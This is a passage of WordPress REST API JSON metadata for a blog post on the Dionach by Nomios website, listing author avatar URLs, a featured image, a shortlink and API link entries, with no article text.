Nomios","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/175b11c7f601b43fdf197d3d5c39805acf0e97b19ca7a4c4aa333ac557e98a09?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/175b11c7f601b43fdf197d3d5c39805acf0e97b19ca7a4c4aa333ac557e98a09?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/175b11c7f601b43fdf197d3d5c39805acf0e97b19ca7a4c4aa333ac557e98a09?s=96&d=mm&r=g","caption":"Dionach by Nomios"},"sameAs":["http:\/\/Dionach"]}]}},"jetpack_featured_media_url":"https:\/\/i0.wp.com\/dionach.com\/wp-content\/uploads\/2022\/06\/Untitled-design-17.png?fit=980%2C551&ssl=1","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/ph4Ojq-1VM","_links":{"self":[{"href":"https:\/\/dionach.com\/en-us\/wp-json\/wp\/v2\/posts\/7426","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dionach.com\/en-us\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dionach.com\/en-us\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dionach.com\/en-us\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/dionach.com\/en-us\/wp-json\/wp\/v2\/comments?post=7426"}],"version-history":[{"count":0,"href":"https:\/\/dionach.com\/en-us\/wp-json\/wp\/v2\/posts\/7426\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/dionach.com\/en-us\/wp-json\/wp\/v2\/media\/7434"}],"wp:attachment":[{"href":"https:\/\/dionach.com\/en-us\/wp-json\/wp\/v2\/media?parent=7426"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dionach.com\/en-us\/wp-json\/wp\/v2\/categories?post=7426"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dionach.com\/en-us\/wp-json\/wp\/v2\/tags?post=7426"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}